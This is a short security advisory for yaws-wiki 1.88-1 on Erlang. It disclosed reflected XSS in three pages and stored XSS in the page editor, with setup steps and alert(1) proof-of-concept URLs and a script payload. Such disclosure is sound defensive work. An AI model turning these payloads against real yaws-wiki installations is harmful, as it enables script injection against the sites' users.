Software: yaws-wiki version affected: 1.88-1 platform: Erlang homepage:http://yaws.hyber.org/ Researcher: Michael Brooks Original Advisory:https://sitewat.ch/en/Advisory/4 Install instructions for Ubuntu: sudo apt-get install yaws-wiki Edit:/etc/yaws/conf.d/yaws-wiki.conf #add this: <server wiki> port = 8181 listen = 0.0.0.0 docroot = /var/lib/yaws-wiki </server> Then restart yaws: sudo /etc/init.d/yaws restart Reflective XSS: http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E Stored XSS: http://localhost:8181/editPage.yaws?node=home The large textbox on the editPage.yaws page is vulnerable to xss. This is the"text" post variable: <script>alert(1)</script>